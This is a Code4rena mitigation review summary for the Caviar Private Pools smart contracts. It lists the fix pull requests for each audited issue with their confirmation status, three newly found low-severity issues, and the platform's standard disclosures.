Following the C4 audit, 3 wardens (rvierdiiev, rbserver, and KrisApostolov) reviewed the mitigations for all identified issues. Additional details can be found within the C4 Caviar Private Pools Mitigation Review repository.

Overview of Changes

Summary from the Sponsor:

"All of the mitigations for each issue are isolated to their own pull requests. While each mitigation may work in isolation, we would also like a review of how the

> mitigations all work together (i.e. an overview of the whole codebase). Of particular concern is the mitigation for H-02 and whether it makes sense or not."

Mitigation Review Scope

URL	Mitigation of	Purpose
https://github.com/outdoteth/caviar-private-pools/pull/12	H-01	This fix ensures that the royalty amounts and royalty payments are now done in a single loop
https://github.com/outdoteth/caviar-private-pools/pull/2	H-02, M-15	Adds a check in the `execute()` function that will revert if the target contract is the `baseToken` or `nft`.
https://github.com/outdoteth/caviar-private-pools/pull/10	H-03	This fix uses openzeppelin's SafeCast library
https://github.com/outdoteth/caviar-private-pools/pull/5	M-02	Adds a `baseTokenAmount` field to the Change input
https://github.com/outdoteth/caviar-private-pools/pull/6	M-03	Exponentiates the changeFee to make sure that the flashFee amount is correct.
https://github.com/outdoteth/caviar-private-pools/pull/7	M-05	Fix is to skip the approval step if the pool has already been approved to transfer the NFTs from the EthRouter.
https://github.com/outdoteth/caviar-private-pools/pull/8	M-06	Adds the protocol fee to flashLoan fees.
https://github.com/outdoteth/caviar-private-pools/pull/11	M-08	This fix ensures that the royaltyAmount is only incremented if the recipient address is not zero.
https://github.com/outdoteth/caviar-private-pools/pull/13	M-10	Fix is to add a separate fee called protocolChangeFeeRate which can be much higher than protocolFeeRate.
https://github.com/outdoteth/caviar-private-pools/pull/9	M-11	This fix includes the msg.sender in the salt when creating the proxy deployment.
https://github.com/outdoteth/caviar-private-pools/pull/14	M-12	Adds a check to ensure that users cannot create pools with private pool nfts deposited.

URL	Mitigation of	Purpose
https://github.com/outdoteth/caviar-private-pools/pull/19	M-17	Adds a revert if the token does not exist.

Note: see here for details on out of scope findings.

Mitigation Review Summary

Original Issue	Status	Full Details
H-01	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
H-02	Mitigation Confirmed with Comments	Reports from rbserver, KrisApostolov, and rvierdiiev
H-03	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-02	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-03	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-05	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-06	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-08	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-10	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-11	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev
M-12	Mitigation Confirmed with Comments	Reports from rbserver, KrisApostolov, and rvierdiiev
M-15	Mitigation Confirmed with Comments	Reports from rbserver, KrisApostolov, and rvierdiiev
M-17	Mitigation Confirmed	Reports from rbserver, KrisApostolov, and rvierdiiev

The wardens also surfaced three new Low severity issues:

- User can change nft with royalty into nft with same weight but without royalty in order to make profit *Submitted by rvierdiiev*
- Sell function will not work as expected when royalty fee is high *Submitted by rvierdiiev*
- Mitigation for H-02 and M-15 prevents private pool owner from performing some legitimate operations for baseToken and nft tokens owned by private pool *Submitted by rbserver*

Disclosures

C4 is an open organization governed by participants in the community.

C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top